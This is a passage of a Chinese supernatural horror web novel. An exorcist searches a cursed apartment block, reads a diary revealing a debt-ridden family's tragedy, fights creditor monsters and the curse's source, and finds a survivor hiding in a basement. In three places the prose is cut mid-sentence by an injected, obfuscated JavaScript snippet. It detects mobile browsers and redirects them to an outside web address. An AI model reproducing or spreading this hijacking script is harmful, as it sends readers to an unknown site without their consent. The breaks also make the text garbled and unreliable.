——是最早被沈天合杀死的房客,正在向白幽灵许愿。 周少麟侧身进屋,躲进了最靠近出口的厨房里,半掩上折叠门。 青年浑然不觉,只是目不转睛地盯着桌上的白瓷碗,喃喃重复: “我真的很想活下去,我只是断了腿,没了肠子,而且都还留着,我应该可以活下去吧?求求你了,帮帮我吧,白幽灵。” “求你了,求你了,救我吧。” “求你了,救我吧,救我吧。” “我想活,救我吧,求你了。” 气泡音以不变的节奏重复着相似的话语,听了让人只觉毛骨悚然。 换个角度就能看到青年另一侧放着的东西。如他所言,是一团血淋淋的、缠绕的肠子。 ……被小心翼翼地揉在一起,像是害怕它们散开了,就没办法再放回肚子里。 周少麟也知道这个青年。 沈天合杀死的四个房客之一,待业,独居,二十八岁。事发当晚似乎没有睡着,就在进行当时还很火的白幽灵许愿仪式。他留意到了隔壁诡异的响动,却没有反应过来报警。 沈天合杀死了妻子后,第一个打开了他的房门。 过程都是警方事后推断的。根据一片狼藉的死亡现场来看,他是唯一一个做出了反抗、而非死于睡梦的受害者。 沈天合打开门以后,青年惊恐万状,想要逃跑,但出口已经被堵死了。他用水杯、书、雕塑装饰做出了激烈的反击,最终被一刀捅进腹部毙命。 浑浑噩噩之际,青年还想往门口逃,又被沈天合砍断了双腿。 现在看来,在沈天合离开后他也还没有死。生命最后的时间里,他走投无路地向白幽灵许愿求生,也毫不出奇地失败了。 死后,他的执念被困在域里,仍然在苦苦向那个幽灵祈祷。 ——接上我的腿吧,把我的肠子放回肚子里,然后我就能活过来。帮帮我,白幽灵。 “帮帮我,救救我,我想活……” 青年双掌合十,跪在自己的双腿和肠子旁边,一遍一遍地祈祷着。 在门的另一侧,周少麟微微垂下眼帘。 因幽灵而死者,向幽灵许愿复活。 ……真是,没有比这更讽刺的事情了。 就在此时,一个漆黑的身影从窗外跃入! 那是个独眼男人,手大得不成比例,两条胳膊都是黑色的,看上去坚硬如铁。他落在桌子上,踩碎了瓷碗,黑色的巨手前伸,瞬间将青年的头从脖子上拔了下来! “噗呲!” 血高高地飚向天花板。 “白幽灵?”男人哑着嗓子说,“哪里有白幽灵?” 青年无头的身躯摇晃了两下,向后倒去。男人从桌子上跳下来,开始在狭小的客厅里翻拣。他的巨手找起东西很高效,目光所及之处都能撕个粉碎。 “哪里有白幽灵?哪里有?”男人一边翻一边吼叫,目眦欲裂,“没有啊!这里没有、这里也没有啊!” 他站在一片狼藉之中,脖子又咔咔转了九十度,看向厨房的位置。右眼在淌血,完好的左眼瞪得像是要爆开。 “……在那里吗?” 黑色的巨手拖在身侧,走起来晃晃荡荡,摩挲出刮玻璃一样的声响。男人缓缓走向厨房,在紧闭的折叠门前停下。 “嘻嘻。”他笑了一声,“在这里吧。” 巨手还没来得及落下,一柄锋利的刺刀就从门后捅出来,笔直地刺进男人的左眼球。 周少麟抽回刀的同时拉开折叠门,在对面的一瞬从肩膀处砍断了男人的左臂,矮身躲过接踵而至的一击后,又自下而上切断了右臂! 断臂的血花向两侧泼去,男人发出凄厉的惨叫。 下一秒,寒光闪烁的刺刀抵上了他的喉咙,逼入一寸之深。 “例行询问一下吧。”周少麟握着刀柄,声音没有半点起伏。 “你也想找白幽灵许愿?什么愿望非要用这种形式实现?” 男人的两只眼睛都在流血,表情狰狞。他张了张嘴,没发出声音。 周少麟换了个说法:“就是在问你的愿望是什么。” “我的愿望……” 男人很慢、很慢地眨了一下眼睛,血水从喉咙里冒出来。 “忘记了,我忘记了……” * “……” 周少麟目光暗了暗,把对喉的刀刃转为刀尖,从他的下颌刺了进去。 五十厘米的刺刀足以贯穿颅骨,刀尖凛凛地从后脑探出来。拔刀的时候,飚出一小股血柱。 这是相对干净的处理手法,血不会溅人一头一脸。 被贯穿大脑的尸体无声无息地倒了下去。他提着刀回到厨房的洗手台前,拧开水龙头。 流出来的并非血、黏液或者什么身体组织,只是正常的自来水。他开始清洗刀身。 诅咒域的构成大多在细节上透着诡异,很容易污染精神扰乱神智。但除了人以外,红梅公寓的其他地方似乎并没有被异化扭曲,冰凉的水流反而给他一些生活的实感。 就好像还有人住在这里一样。 虽然还不明确,但他对域的逻辑有大致推断了。 根据死法不同,红梅公寓里有两种角色,被沈天合杀死的“原始房客”和死在域中的“进入者”。 死灵的力量来源于生前的欲望。 原始房客死得不明不白,执念自然也没有强烈的攻击性——比如祈求复活的青年,面对杀戮毫无还击之力。 进入者生前受到白幽灵的吸引而进入域,核心欲望是找到封印白幽灵的黑匣子,因此漫无目的地在红梅公寓里游荡,无差别攻击房客和新进入者。 ——就像钱哲,和那个两只怪手的男人。 然而,无论是进入者还是房客,都是域的共生物,谁死了都会再次被“复活”。这种无意义的杀戮循环只会一直继续下去。 就像他们生前一样,房客无法活下去,进入者也无法找到白幽灵。 如果是这样,搜寻其他的房间就没有任何意义。因为“进入者”的怨灵必然早在他之前就翻遍了一二三楼的每一个居室,活的死的都只能变成死的了。 他只希望赵嘉言没有成为怨灵之一。 但即使以上推断成立,最关键的问题也没有得到解答。 ——进入者之外,这个域的猎杀手段是什么?最初杀死进入者的是什么? * 周少麟来到301号房门前。 按照原本的计划,他应该最后再来这间屋子。但现在,除了这里,他想不到还有其他没被进入者翻找过的地方。 如果要找赵嘉言幸存的线索,也只有这里最快了。 ——这是沈天合的住处。 他杀死妻子的地方,他自杀的地方,传言中藏着黑匣子的地方。 如果进入者是被白幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153344|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵的传说吸引而进入域,那应该每一个人都来过这里。 诅咒的欲望在死去的一刻定型,之后都是以此为核心的极端化和扭曲化。域也是这样构建的,无论看上去再怎么混乱无序,背后都有逻辑可循。 外部环境尚且正常,说明域目前还没有猎杀他的倾向。 周少麟已经把清洗好的刀放回了单肩包里,此刻两手空空,看上去像是个再正常不过的访客。 他敲了敲门,“您好,有人在吗?我找沈先生。” 没有回音。 他继续道:“我在小区里看到了这层楼的招租信息,想了解下情况。是找房东沈先生吗?” 这是实话,虽然是他在域外看到的广告,时间已经是四五年前了。 还是没有回音。屋里好像没有人。 周少麟推了推门,锁上的。 他感到有些不确定了。 没有人来开门,难道是要破门而入?但这样未免太容易引来攻击。之前的外来者难道没进这个屋子?还是一进来就在这个屋子里? 但无论如何,既然“宝物”就在里面,域想要捕猎,总会给外来人一个进入的方式吧。 门侧的墙壁上装了个消防栓柜,柜门竟然没锁。周少麟瞥到了银色螺盘中心凹陷处的一点凸起,他伸手,拎起一把孤零零的、没带钥匙扣的钥匙。 ……家门的钥匙就放在消防柜里? 如果是域专门设下的陷阱,那也有点太没必要了。这不像用来引诱外来者的道具,而是一开始就存在的东西。 就好像更多年前,房子的主人还活着的时候,确实有这样一把钥匙放在这里。也没想找个多隐蔽的地方,只是为了防止有人忘带钥匙开不了门。 周少麟把钥匙插进锁里,推门而入。 屋内的陈设一如既往的普通。边角掉漆的矮脚长桌,破旧的软沙发,散着各种七零八碎的东西。餐桌靠在墙角,铺着块碎花油纸布。 屋子老旧得像在七八十年代,甚至比刚才两个屋子都要破上几分。 域内的时间和空间都是混乱的,一层楼的房子处在不同年份节点也很正常。客厅没挂日历,要了解时间,就得找其他东西。 “我进来了。” 周少麟说了一句,走进屋子里。 房型是两室一厅,卧室一大一小。主卧显然是夫妻住的,简陋到了清贫的程度。抽屉里放着一叠厚厚的纸,他大致翻了翻。 这是肝癌晚期的病历本和化疗单。 患者的名字是舒涵——沈天合的妻子,红梅公寓惨案的第一个受害者,确诊时间是2019年。 五年前。那时沈天合还没有发家,是个建筑工。 ——舒涵当时就患有肝癌? 周少麟皱了皱眉。他对癌症了解不多,但也知道有一年存活率和五年存活率之说,后者极低,前者也不高。 ……如果舒涵当年患有这样的病,为什么外界一点都没有提到过? 他压下疑虑,把治疗单叠好放回抽屉里,走向次卧。 次卧倒是孩子的风格,贴着粉蓝色的公主墙纸,床头挂着星星灯。 小书桌上整齐地摆着几本大开页的童话书,最上面是个猫猫图案的日记本,封面贴着树叶形状的便签条。 ——“月月给妈妈”。 五年前,沈天合和舒涵还有个年幼的女儿,名字叫沈月。 这是她们母女的交换日记。 5. 红房子(4) 周少麟翻开日记本,开头第一页是孩子的笔迹。 【2019年3月4日】 今天是我6岁生日!爸爸妈妈带我去吃了mai当劳的生日can,好好玩,好开心。 爸爸送了我想要的星星灯,我gua在床头了。妈妈送了我有猫咪(猫猫头涂鸦)的本子,让我天天写日记,她也写,这样就和天天见面一样啦(笑脸花花)。 【2019年3月5日】 对不起(哭脸),妈妈,我今天又丢yao shi了(哭脸),我不是故yi的。 我今天是在po po家吃晚饭的,然后爸爸才回来。Po po 好好。 爸爸把小钥匙放在红色的柜子里了,以后我要是找不到yao shi,就在那里拿。妈妈不要担心。 妈妈身体怎么样啦?(小太阳) 【2019年3月6月】 妈妈感觉很好哦!想到月月,就觉得充满了能量(太阳)。医生也说妈妈的状况不错,虽然还不能出院,但只要配合治疗,很快就可以见到月月啦! 钥匙不见没关系的,妈妈以前也总是弄丢东西(哭哭),但是要跟婆婆说谢谢哦。 这是妈妈今天的午餐(涂鸦,看上去像是茄子和黄瓜),非常有营养,月月也要多吃蔬菜。 【2019年3月7日】 我说了!婆婆给了我(糖果涂鸦)(花花) 我每天都吃蔬菜,学校里还会发牛奶。这是我今天的午餐(涂鸦,看不出是什么)。 妈妈,如果小兰说家里没有人来jie我,要怎么回答她呀? 【2019年3月8日】 要告诉她,月月是坚强又独立的小孩,可以自己回家。因为月月这么懂事,所以爸爸才有更多时间工作和照顾家里。月月是在为家庭做贡献,非常非常棒(大拇指)。 当然,如果月月觉得害怕,或者觉得有危险,就让爸爸来接你。可以的,也很棒(大拇指)。 【2019年3月9日】 我说了,小兰也说我很棒(三个笑脸花花) 她说以后要跟我一样自己回家,但是我们不同路(三个哭脸)。 妈妈,你这周末回家吗? 【2019年3月10日】 妈妈这周末不回家呢(难过)。 月月可以跟婆婆去公园玩哦,爸爸也在那里值班,你给爸爸带点糖(糖果),给他个惊喜(笑)。 …… 后面的内容大多是母女之间的日常交流,有来有往,几乎没有间断。周少麟一目十行地翻了几十页,随后顿住了。 【2019年9月8日】 妈妈回来了!!妈妈病好了!!! 好开心好开心好开心(花花太阳笑脸)以后就可以天天见到爸爸妈妈了! 妈妈,我们还要写日记吗? 【2019年9月10日】 可以哦。妈妈想知道月月过得开不开心,有什么不好意思讲的也可以在日记里说呀。 这周末和爸爸带你去公园的草坪野餐,期待一下吧!(笑) 往后又是母女生活的记录,但不再是每天都有了,好几天才有一条,或者沈月写了好几条,舒涵再写一条更长的回复。 更奇怪的是,之后的内容再也没有提及舒涵的病情,连相关的话语都没有了。 ……所以是好了?这就好了? 周少麟感到匪夷所思。 舒涵是肝癌晚期,此时切除手术未必有效,化疗的复发率又很高,几乎没有任何可能在半年内痊愈。 而且治疗费用高得惊人,根本不是沈家这种条件可以负担起的。 舒涵在日记里一直表示自己的身体状况很好,但根据化疗单,她的病情分明在不断恶化,可以说时日无多。 好像一夜之间她就痊愈了,致死的疾病没有留下任何痕迹。 不是钱的问题。这根本不是现代医学能实现的。 周少麟继续往下翻。 舒涵的回复越来越短和少了,也没有再画些可爱童趣的涂鸦。她依然是个耐心温柔的母亲,只是字里行间透着疲惫。 有一次似乎将近十天都没有写,沈月在日记末尾怯生生地问:“妈妈和爸爸最近是不是很忙?” 舒涵回复了,但字迹略显潦草。 “抱歉,月月。妈妈和爸爸最近工作上的事情都很多,没办法及时回复月月。但妈妈知道月月很乖,也非常开心(笑脸)。月月好棒,妈妈为你骄傲。” “一直吃青菜,是不是也有些腻了。爸爸这周末会买些肉回来,妈妈给你做好吃的。” “以后如果你回家的时候发现爸爸妈妈不在,就不要进家门了,去小黑屋。” “如果你看到一些很高很凶的男人在楼下,也马上去小黑屋,千万不要靠近他们,不要跟他们讲话。” “如果在学校门口遇到,马上找老师!!” “对不起月月,很抱歉让你过得这么委屈,是爸爸妈妈对不起你。” “我们也买了星星灯挂在小黑屋,你害怕就写日记吧。妈妈会看到,妈妈陪着你。” 日记的时间是2019年11月30日,舒涵出院3个月了。 凶悍男性,小黑屋。这是在躲什么人? 舒涵患病在1月份,依靠化疗和药物吊了大半年的命。即使之后忽然痊愈,大半年的治疗费用也是不小的负担。 何况沈天合家境贫寒,积蓄有限。按理说,他连一半疗程的钱都付不起。 周少麟静静看着日记本上的潦草字迹。他猜到了原因。 ……沈天合借高利贷了。 在舒涵患病期间,这个捉襟见肘的小家庭还围着病情团团转。等到她大病骤愈,那些早早埋下的、激烈的矛盾便爆发出来。 原本念着死人情面不开口的亲戚,以及各种来路不明、不干不净的讨债人,带着他们治病期间欠下的巨款,一拥而上。 疾病与贫穷像是嵌套的齿轮,一个推着下一个碾过。 他再往后翻。 【2019年12月5日】 妈妈,今天有人来学校找我了。我在教室看到是一个不认识的叔叔,很凶,就没有去。 他再来我该怎么办?爸爸可以接我放学吗? 【2019年12月12日】 妈妈星星灯坏了,按键也不亮了。我们可以再买一个吗?我怕黑。 【2019年12月20日】 妈妈,最近楼下总是有人,黑衣服的叔叔。我不敢回家,我好害怕。 妈妈和爸爸什么时候回来呀?早一点好不好。 只剩最后几页,周少麟加快了翻面的速度。 每页的内容都很像,好像生活里只剩下这一件事一样。 “回家”、“黑衣人”、“小黑屋”、“害怕”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153345|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “爸爸”、“妈妈”。 哧啦—— 外面突然传来一阵刺耳的电锯声。 周少麟警觉地看向客厅,有人在锯门。 域的威胁竟然不在屋里而在屋外?像之前一样破门而入吗? 日记只剩最后一页了,他决定看完再说。 【2019年12月27日】 妈妈,爸爸,我不想待在小黑屋了。 这里好黑,我好害怕。 我们什么时候可以回家?我好害怕。 开门吧,我好害怕。 开门吧,开门吧这里好黑我好害怕。 我好害怕。 最后一页是用红色的蜡笔写的,写得很用力,几乎透穿纸背。 笔迹很新,似乎是刚写上去的。 像是为了印证他的猜测,末行开始一笔一划地浮现红字。 【我、好、害、怕。】 此刻,仿佛确实有一个孩子站在周少麟旁边写日记。稚嫩的小手紧握着蜡笔,恐惧之下的每一笔都如有重量。 ——爸爸妈妈快来啊为什么不来快开门快开门我好害怕我好害怕我好害怕我好害怕我好害怕我好害怕我好害怕我好害怕我好害怕我好害怕我好害怕我好害怕开门啊!!! “哐!” 一记斧头砍在门上的声音。 “开门啊。”低沉的中年男声响起,“开门啊。” “沈天合!你娘们病不是好了么?开门还钱啊!!” * 周少麟把日记本合上,放回原位。 看来这就是域杀死进入者的第一关。 进入者在沈家翻找封印白幽灵的黑匣子,中途就会有讨债人破门而入,结局不出意外是被大卸八块了。 可讨债人在这个域中的作用是什么?沈天合的执念里竟然还会有他们的存在? 刺耳的电锯声越来越清晰,随后又是一斧头砸下来。木门本就脆弱,现在已然宣告报废。 黑压压的身影走进来,一共四个。 这才是域里真正的猎杀者,长得相当惊悚。 头只能说是一个同等大小的肉瘤,没有皮肤,血肉模糊,两只眼睛,一张嘴巴,没有耳朵和鼻子。鲜红的嘴张开,里面都是细密的牙齿。 “开门啦。”讨债人的声音很阴森,“还钱啊。” “开门啦。”四个人的声音重叠在一起,“还钱啊。” 周少麟刚从卧室里探出身来,最前面的讨债人的手臂就骤然伸长,五指化爪,直接对着他的头部撕下! 银寒的刀光一闪而过,瞬息将这只伸长的手臂砍成了几段。 断裂的手掌掉在地上,噼啪蹦跳着,腕口鲜血淋漓。 不给分毫空隙,下一秒,其他讨债人的手臂同时飚射过来! 危机骤临,周少麟的反应速度却更快一步。在攻击纷卷而至之前,他一刀捅进了距离最近的讨债人的嘴,直接刺着他疾掠出门! “砰!” 刺刀从讨债人裂开的嘴中穿过,将他死死钉在楼道墙壁的正中央。 但这种程度还不足以让怨灵毙命。周少麟握着刺刀往上划去,刀身劈开蠕动的血肉,将这颗头颅彻底分为两半! “别在人家屋里打。” 他提着刀,站在楼道口,平静地看向还留在屋里的三个讨债人,语气礼貌得简直像在征求意见: “出来?” 6. 红房子(5) 讨债人灰白的眼睛死死地盯着周少麟,嘴无声无息地裂开,一直蔓延到耳根的位置。 一株粉红色的肉芽从喉咙里探出来,张开狰狞的四瓣。 几乎是同一时间,三株肉芽与六只手同时从四面八方向他飚射而去! “轰!” 两根肉芽打在墙壁上,留下深深的凹陷。 这样的速度与力道落在人体上无疑致命,但周少麟在即将被击中的一瞬侧身闪避,锋利的刺刀旋即砍断了两只长肢。 狭窄的楼道会限制范围型攻击的施展,但他的闪避方向也很有限。对面怨灵一共九只长肢,几乎可以实现无死角攻击,他至多被动防守。 论反应他更胜一筹,但怨灵的攻击力占优。在单向道里顶着正面攻势连杀三个很可能受伤,去空旷一些的地方反而更有胜算。 周少麟翻身跳过楼梯扶手,向楼下跑去,讨债人紧追其后。 “还钱啊。”“还钱啊。”“还钱啊。” 浓烈的柴油味追了上来,一只抓着电锯的长肢从他身侧直直劈下! 刺啦—— 周少麟迅速调整握刀姿势转劈为刺,准确地挑断链锯条,报废了这把电锯。随后又是一刀,斩断了扭动的肢体! 就在此时,一个黑影从楼梯的死角处冲了出来,朝他猛然一扑。 ——第三个进入者的怨灵! 饶是周少麟也没有躲开这突如其来的袭击。他立刻横刀在肩侧,借力削断了黑影的半个头,但自己也被冲力撞得失去平衡。 几乎是下一秒,讨债人的肉芽就自上而下刺向了他的侧脸! 周少麟顺势拉过进入者换了个位置,肉芽瞬间洞穿后者的喉咙,他则用最快的速度冲向了二楼的走廊。 果然,有一扇门是开着的。 进入者的怨灵已经肆虐过这个屋子,里面一片狼藉。他穿过客厅奔向阳台,直接跳了下去! 四五米的垂直距离,落地用不了一秒。周少麟翻滚卸力后稳住身形,下一刻,两根肉芽与三只长手直直下冲,捅穿了水泥地! 那是他落地的位置。 周少麟退开两步,深吸一口气。 赌赢了。 直接从楼上跳下来是最快的,但悬空的半秒也最危险,因为空中无从躲避攻击。如果讨债人提前半秒追上来,那他必然会受伤。 三个讨债人站在二楼的阳台,发出一声愤怒的嘶吼,也以僵硬的姿势翻身跳了下来。 攻守易势。周少麟掷出短匕,直接刺穿了一个下落中的讨债人的头颅! 早已僵死的身躯重重地砸在地面上,仅剩的手和肉芽无力地抽搐。 还差两个。 “还钱。”讨债人目光空洞地喃喃,“要不然,用别的来换。” 长手和肉芽如同狂舞的蟒蛇,紧追而来。 “——还钱,要不然用别的来换!” 不知道为什么,这个域的异化方向好像都跟手有关。 关节扭曲的手、巨大的手、伸长的手。 每一个都如此渴求地想要抓住什么。 如果说被杀死的进入者和死去的房客是域的【共生物】,那么遵循着诅咒意志的讨债人,就是域的【衍生物】——他们是被域所创造的。 正因如此,讨债人的自主意识远比外来者薄弱,攻击力却更强。 不过现在讨债人只剩下两个,攻击的密度一下子降低许多,又失去了地形优势,对他是构不成什么威胁了。 周少麟一边避开肉芽的袭击,一边寻找着可以瞬间斩断两个讨债人头颅的空隙。他准备迅速结束这场战斗。 如果讨债人都存在,那么日记提到的小黑屋应该也存在,这个域完全还原了三年前的红梅公寓。 但还是说不通,为什么欺压沈家的讨债人会出现在沈天合所构建的域里。 ……难道说,这个域根本不是沈天合构建的? 如果他们在这里,那沈天合在哪里? 疑虑如云,但并不影响周少麟的动作。他眼神微凝,将刺刀转过一个微小的角度,准备出手。 但就在他俯身掠去的前一刻,两个讨债人的身躯忽然爆炸开来! “嘭——!” 两团巨大的血花在空中炸裂,零碎的人体组织散落在地,鲜血瓢泼如雨! 周少麟点地后撤,血雨飞溅到身上,洇开大团的血渍。 他有点错愕——讨债人被杀了? 域的衍生物之间也可能自相残杀,但如此轻易地杀死两个衍生物,那只能是域里更高一层级的存在。 血雾散去,满地狼藉里,站着一个惨白、矮小、枯瘦的身影。 身高只有一米四或五,佝偻着背,身躯干瘦。 皮肤惨白,像搅拌好的石灰水。面目也因此显得模糊不清,只有一双赤红的眼睛圆瞪着。 手臂最多只有五根筷子捆起来那么粗,细瘦到诡异的程度。这样的手应该拿不住任何东西,但它却握着一个大小极不相称的、烫红的烧火棍,棍上布满岩浆般的裂纹。 ……域里的怪物基本都会发生变形,即使如此,他依然是这里最不像人的东西。 从这种东西上窥见人的形貌是一种恐怖。 “两个。”怪物开口了。 他的声音竟然是温厚的,听起来和普通人无异。 “还差两个。” 怪物看着周少麟。周少麟以同样的静默凝视着那双血红色的眼睛。 他认出了这是谁。 ——构建这个域的诅咒,沈天合。 * 几乎是眨眼的瞬间,烧火棍正对着他的脸捅来! 这个瘦小干枯的怪物行动起来快得惊人,和讨债人根本不是一个级别。周少麟立刻后撤,险而又险地避开了这突兀的发难! 烧火棍捅在大院的树木上,树皮上浮现出岩浆般的裂纹,随后猛地炸开! 火光骤亮,木屑飞散。周少麟迅速拉开距离,几块燃烧的木片几乎擦着他的脸飞过去。 ——被那个烧火棍碰到的人和物都会立刻爆炸! 这就是诅咒沈天合的天赋能力,它现在就已经出手了! 周少麟心中升起一股寒意。近战太危险,他得想办法脱身。 归根结底,现在根本没有理由和沈天合打。他进来是找人的,诅咒消失后域就会坍塌,赵嘉言活着也只能陪葬了。 ……但是,能脱身吗? 首先判断,域是否已经开启对他的猎杀模式? “还差两个。”怪物再次向他冲来。周少麟侧身躲开,反手一刀! 应该没有,不然必定要应对更多威胁。 现在连诅咒本体都像是在机械运作,杀意不针对个人。否则,不会先杀掉两个衍生物。 周少麟边战边退,已经回到了公寓一楼。这层楼的一个铺面没租出去,成了住户的停车间。他试图向走廊退去。 域的逻辑尚不清楚,但既然沈天合出现在外面,那假设他还不会主动进入房间。 背后一阵阴风骤然袭来,周少麟下意识地矮身闪避。 烧火棍刚好从他上方扫去,直接击飞了一个黑影,身躯在半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153346|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空中爆裂开来! ——是刚刚被他从三楼扔下来的钱哲,复活了,又死了。 看来不只衍生物讨债人,怨灵也是一样的杀。 “还差一个。”沈天合收回烧火棍,赤红的眼睛闪烁着奇异的光泽。 他依然在用那个温厚的男声说话,更显诡异。 周少麟抓住这个空隙,扯下走廊晾的棉被盖住它,调头奔向一楼的停车间! 在怨灵炸开的瞬间,他认识到了一件事。 域是死物的聚集处,即使是尸体也会留下存在过的痕迹。 但现在他每层楼都走过一遍了,连与赵嘉言相似的共生物都没有看到。 那么,赵嘉言究竟在哪里呢? 平心而论,他已经死在这个诅咒域里的概率本应该更大,进入者的怨灵杀人,讨债人杀人,诅咒本体也杀人,死在哪个手里都不奇怪。 但确实存在一种可能性,赵嘉言仍然活着。 他意识到这个域的逻辑,所以藏在了一个这些东西都不会涉足的地方。 怨灵找不到,讨债人不知道,诅咒不会去。 ——沈月日记里的小黑屋。 * “轰!” 爆炸将棉被撕了个粉碎,棉絮熊熊燃烧,黑烟滚滚升腾。 灰白色的沈天合转过身,赤红的眼睛麻木地注视着前方。 空无一人。 它往前走了几步,又在楼梯口停下来。佝偻瘦小的身形像是一株枯萎的老树。 怪物平视着前方,原地站了一会儿后,摇摇晃晃地走上楼梯。 “还差一个。”它用温厚的、让人感到亲近的男声说道。 夕阳已经沉到了地平线,血红的余晖洒在它矮小的背影上。 “还差一个、还差一个、还差一个……” * 周少麟静静地站在地盖下的台阶上,敛神屏息,一动不动,直到那个单调枯槁的脚步声彻底远去。 他在一楼停车间的地下。 日记里反复提到的“小黑屋”,是讨债人上门时,沈月藏身的去处。 既然她随时能躲到这里,那一定离家不远。但梅花公寓建筑结构简单,沈家更没有造暗室的条件,那么最可能的情况就是地下室。 整个公寓一楼的空间就有限,住户能自由出入的地方只有停车间。周少麟猜测地下室的位置就在附近,所以第一时间奔向这里,也如其所想地在最后一刻找到了入口的地盖。 当然,他并没有把握。这么短的时间里做出的判断只能是赌博,如果错误,那他和沈天合里一定会死一个,赵嘉言也活不成,委托必然失败。 幸好,还是猜对了。 地下室漆黑一片,周少麟打开手电筒,沿着台阶走下去。台阶的高度比一般的更低,大概是怕小朋友走的时候会摔跤。 这本就是沈天合和舒涵为女儿准备的小安全屋。 手电筒的光来回巡视,周少麟仔细地打量着这个小房子。 一张罩着圆顶蕾丝蚊帐的床放在墙角,桌椅摆在旁边,衣柜紧靠着另一侧墙,此外甚至有个小冰箱。家具以外,大大小小的箱子堆满了其他地方。 许多东西挤满了这个狭窄的空间,显得非常杂乱,也正因如此,完全足够藏身。 突然,周少麟听到了一个细微的咔嚓声。这个声音他非常熟悉,那是有人在给枪上膛。 周少麟静静地站在原地,一把枪从黑暗里伸出,抵在了他的后脑勺上。 屋里还有另外一个人。 ……毫无疑问,赵嘉言。 7. 红房子(6) 手电筒还亮着,灯光在地上映出两个人的影子。 “你是谁?”背后的人开口了。 “你是赵嘉言吧。”周少麟说,“我是除魔师,受雇于令堂,进域来救你。” “我妈雇你?来救我?”赵嘉言的声音充满怀疑,“证据呢?” “在包里,我可以拿给你。”周少麟回答。平心而论在战斗中带着包挺麻烦的,但他还是没有扔。 枪依然抵着他的后脑,纹丝不动。赵嘉言稍微靠近了点,手伸向他挽着的单肩包。 周少麟看向包的位置:“我自己拿吧。” “别动。”赵嘉言将枪口威胁性地往前递了递,“知道名字的方法有很多,我不信任你。” “嗯,确实是骗你的。”周少麟平静地说,“证据不在包里。” 赵嘉言的手立刻缩了回去,脸上亮起十二万分的警惕:“少耍花样!” “好。”回答的语气很淡然。 话音刚落,赵嘉言就觉得手腕一痛。周少麟反擒住他的手,干脆利落地卸了枪,随后把他整个人往下一抡,重重摔在地上! 赵嘉言吃痛地喊了一声,刚挣扎着抬起头,就撞上了一个黑洞洞的枪口。 半身是血的年轻人逆光而立,持枪正对他的眉心。 只指了一秒,枪口就移开了。周少麟俯下身,把枪放回他手中,语气依然淡淡的: “证据是你还活着,赵嘉言。” * 地下室。 黯淡的灯光一下一下闪烁着,周少麟和赵嘉言面对面坐在桌子两侧。 周少麟从单肩包里取出文件袋,把黑白复印件一张张在桌子上摆开。 “这是我和你母亲的协议书,保密信息做了模糊处理。” “这是我们在灵异协会暗网上交易的聊天记录,全程可公开。” “这是我的二级除魔师职业资格证书,个人信息不便泄露。” 他双手交叠在桌上:“现在,可以相信我了吗?” 赵嘉言:“……” “相、相信。”他心虚地移开目光,“非常相信,早就相信了。” “谢谢配合。”周少麟把资料放回文件袋里。 “刚才对不起!”赵嘉言赶紧双手合十道歉,“看到你全身都是血,我就以为……我在这待太久了!我神经过敏!” “没关系。”周少麟说,“事实上你的精神状态已经比我预想的好太多了。怎么做到的?” 域里处处都是危险,即使抓住规则漏洞活下来,也很容易受到干扰神智不清。普通人待上三天不死也疯,赵嘉言看上去却还很正常。 “……”赵嘉言低声道:“我以前……也进过域。” “那次是和朋友一起的,还混了个不认识的除魔师。我朋友是通灵者,有些手段……但他还是没能出来。” 周少麟查过赵嘉言的主播号,本来是两个人一起经营的,主打灵异知识分享和鬼屋探秘,后来只剩他一个了。 竟然是这个原因。 周少麟皱了皱眉:“那你还继续?” 绝大多数恐怖传说都是假的,但普通人撞上那两三个真的,基本是死路一条。鬼屋探秘这种事本就有一定风险,之前好歹还有一个人是通灵者,懂些行内知识,现在连他都死在域里了,赵嘉言却还要继续这份工作? “我们走过很多地方,只有那一次撞上了!”赵嘉言神情变得有些烦躁,“而且本来他是可以活的!都是因为跟着的那个除魔师!都是因为他!他竟然……” 声音颤抖了一下:“他……” “明白了。”周少麟轻轻打断他。 域的逻辑往往极端而诡异,死一活一的情况不在少数,这种时候就很考验人性。 因为域里不受任何法规制约,做得干净,就死无对证。 如果赵嘉言和他朋友曾跟其他人一起被卷进诅咒域里,对方作为除魔师,不想祓除诅咒而只图保命,那只要略施手段,就可以利用他们轻松脱身,不必承担任何后果。 除魔师分两种,管理局麾下的编制内除魔师,与无编制的自由除魔师。 前者由异常事务管理局统一管理,以保护常人、维系秩序为己任,专门驱除怨灵和凶灵,清理威胁社会的诅咒域。他们大多由世族或专业学校培养,能力素质都普遍较高。 后者基本是散修或小门小户养出来的通灵者,只是为了行事方便考了除魔师资格证。他们根据自身需要来承接私人委托,不接受此外的义务。人数繁多,良莠不齐,行事大多随心所欲。 